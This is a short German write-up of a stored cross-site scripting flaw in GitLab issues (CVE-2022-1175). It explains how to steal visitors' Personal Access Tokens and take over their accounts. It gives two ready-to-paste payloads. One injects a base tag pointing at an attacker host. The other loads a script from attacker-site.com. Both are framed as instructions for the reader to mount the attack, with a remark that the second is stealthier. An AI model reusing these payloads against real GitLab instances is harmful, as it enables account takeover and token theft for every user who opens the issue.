
Gitlab Stored XSS, kann in einem Issue eines Projekts platziert werden, entweder in einem eigenen oder in einem fremden. Ermöglicht Angriffe wie das Erstellen und Stehlen eines Personal Access Tokens (PAT) von jedem, der ein Issue besucht. PATs können dann vollen Gitlab-API-Zugriff als dieser Benutzer gewähren, gleichbedeutend mit einer vollständigen Übernahme des Kontos.
Dies kann missbraucht werden, indem die Basis des Projekts auf deine Website geändert wird, sodass Skripte von deiner Website geladen werden. Ändere JavaScript auf deiner Website so, dass es den Skriptnamen entspricht, die auf der Seite aufgerufen werden. Dies kann die Seite jedoch beeinträchtigen.
<pre data-sourcepos=""%22 href="x"></pre><base href=http://unsafe-website.com/><pre x=""><code></code></pre>
Auch die übliche Skripteinbindung funktioniert, abhängig von der CSP-Richtlinie der Website. Dies ist unauffälliger.
<pre data-sourcepos=""%22 href="x"></pre><script src="https://attacker-site.com/bad.js"></script><pre x=""><code></code></pre>
Die GitLab-Entwickler haben praktischerweise den vollständigen XSS-String in den Code aufgenommen, der hier zu finden ist:
https://gitlab.com/gitlab-org/gitlab/-/compare/v14.9.1-ee...v14.9.2-ee?from_project_id=278964&page=4
Referenz:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1175